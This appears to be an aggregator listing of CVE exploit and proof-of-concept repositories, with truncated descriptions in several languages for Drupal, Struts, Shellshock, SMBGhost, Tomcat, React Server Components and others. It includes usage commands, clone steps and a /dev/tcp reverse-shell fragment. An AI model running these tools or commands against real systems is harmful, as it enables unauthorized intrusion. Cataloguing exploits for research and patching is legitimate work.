CVE-2026-4040-Race-Condition-in-File-Upload-Leading-to-RCE

CVE-2026-4040 – Race Condition in File Upload Leading to RCE Program Code Python Flask root@kitploit: uploadserver.py - File upload with race condition from flask import Flask, request import os, tempfile, time, threading app = Flaskname UPLOADDIR = '/tmp/uploads' os.makedirsUPLOADDIR, existok=Tr...

CVE-2026-55200

🚨 CVE-2026-55200 - Vulnerabilidad Crítica de Escritura Fuera de Límites en libssh2 📌 Resumen CVE-2026-55200 es una vulnerabilidad crítica de corrupción de memoria que afecta a la ampliamente utilizada biblioteca libssh2. La falla surge de una validación incorrecta del campo de longitud del paquet...

CVE-2026-39047

CVE-2026-39047: Epson Printer RAW Protocol Exploit Framework Repository: https://github.com/J4ck3LSyN-Gen2/CVE-2026-39047 PoC Script: poc.py Mock Target: mockprinter.py Author: J4ck3LSyN Overview This framework demonstrates the CVE-2026-39047 vulnerability - a remote buffer overflow in Epson...

react2shell-poc

React2Shell - CVE-2025-55182 PoC Prueba de concepto para CVE-2025-55182 , una vulnerabilidad crítica de ejecución remota de código no autenticada en React Server Components. Puntuación CVSS: 10.0 Crítica Vulnerabilidad La vulnerabilidad se encuentra en el deserializador del protocolo Flight de...

CVE-2019-6340

CVE-2019-6340 CVE-2019-6340 POC de Drupal RCE python poc.py url php func command node number Ejemplo: python poc.py http://192.168.142.148/drupal-8.6.9/ system ipconfig 200 Twitter: @0w4ys...

CVE-2023-27524

CVE-2023-27524 Configuración predeterminada insegura en Apache Superset conduce a ejecución remota de código Screenshot Requirements Python3.7+ Supported Os Linuxer Wingays Comenzar con root@kitploit: $ git clone https://github.com/Pari-Malam/CVE-2023-27524 $ cd CVE-2023-27524 $ pip/pip3 install ...

CVE-2022-23967

CVE-2022-23967 In TightVNC 1.3.10, there is an integer signedness error and resultant heap-based buffer overflow in InitialiseRFBConnection in rfbproto.c for the vncviewer component. There is no check on the size given to malloc, e.g., -1 is accepted. This allocates a chunk of size zero, which wi...

CVE-2017-5638

CVE-2017-5638 | Struts s2-045 Descripción Es posible realizar un ataque RCE con un valor malicioso de Content-Type. Si el valor de Content-Type no es válido, se lanza una excepción que luego se utiliza para mostrar un mensaje de error a un usuario. Versiones afectadas Struts 2.3.5 Struts 2.3.31...

CVE-2017-9841

phpunit-shell ⭐ a simple python3 script to exploit CVE-2017-9841. the exploit - CVE-2017-9841 ❗ simple script that exploits a remote code execution vulnerability found in PHPUnit before 4.8.28 and 5.x before 5.6.3. makes a post request to the target with user input system commands...

CVE-2014-6271

Hellshocker 0.1.1 Herramienta para explotar la vulnerabilidad Shellshock ¿Cansado de usar exploits débiles de shellshock o simplemente hacer "/bin/bash & /dev/tcp/IP/port 0&1" para acceder al servidor? Sí, necesitas subir y ejecutar algo más complejo en el servidor, y codificar en base64 un archi...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Automatizar explotación y detección Este programa Python es un envoltorio de la vulnerabilidad RCE SMBGhost. Todo el crédito del exploit funcional a chompie1337. Todo el crédito del escáner a ioncodes. Simplemente automatizo estas funciones en un solo programa. Debes tener ...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485:Jackson-databind RCE...

ruby-RCE-CVE-2019-5420-

ruby 反序列化 （CVE-2019-5420） root@kitploit: https://github.com/PenTestical/CVE-2019-5420 参考： root@kitploit: 1 Ruby on Rails 命令执行漏洞payload实现过程 https://hackerone.com/reports/473888 Since ActiveSupport::MessageVerifier and ActiveSupport::MessageEncryptor use Marshal as the default serializer, I confirm...

CVE-2025-0282-Full-version

Storks: Herramienta de Explotación de Vulnerabilidad de Ejecución Remota de Código Resumen Storks es una herramienta de Prueba de Concepto PoC basada en Python diseñada para demostrar una vulnerabilidad crítica de Ejecución Remota de Código RCE, identificada como CVE-2025-0282 , en un dispositivo...

CVE-2025-24813-POC

CVE-2025-24813 Apache Tomcat RCE PoC PoC para CVE-2025-24813, una vulnerabilidad de Ejecución Remota de Código RCE en Apache Tomcat. Importante: Este PoC está destinado únicamente para pruebas en tus propios entornos o con fines educativos. Cualquier uso de este PoC para explotar sistemas sin la...

CVE-2024-38472

Creating a Remote Code Execution RCE Metasploit module for the SSRF vulnerability CVE-2024-38472 in Apache HTTP Server on Windows is challenging because SSRF itself doesn't directly result in RCE. However, SSRF can often be a step toward achieving RCE, especially if you can use it to interact wit...

OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 Authenticated RCE CVE-2021-31630 This is a modern Python 3.13+ compatible proof-of-concept exploit for CVE-2021-31630, a vulnerability in OpenPLC v3 that allows an authenticated user to upload a custom hardware layer containing malicious code, leading to remote code execution RCE on th...

CVE-2025-55182

CVE-2025-55182 - Exploit de RCE en Server Actions de React y Next.js Exploit completo de Ejecución Remota de Código y escáner para CVE-2025-55182 en Server Actions de React/Next.js. PoC original: Spritualkb/CVE-2025-55182-exp Resumen CVE-2025-55182 es una vulnerabilidad crítica de contaminación d...

CVE-2025-14558

CVE-2025-14558 FreeBSD rtsold DNSSL Command Injection RCE Description rtsold8 does not validate DNSSL domain names for shell metacharacters before passing them to resolvconf8. Command substitution via $ enables remote code execution from an adjacent network. Affected: FreeBSD 13.x, 14.x, 15.x...

tplink-CVE-2017-11519

tplink-CVE-2017-11519 POC para TP-Link Archer C9 - Restablecimiento de contraseña de administrador y RCE CVE-2017-11519 Consulta el writeup en https://devcraft.io/posts/2017/07/21/tp-link-archer-c9-admin-password-reset.html...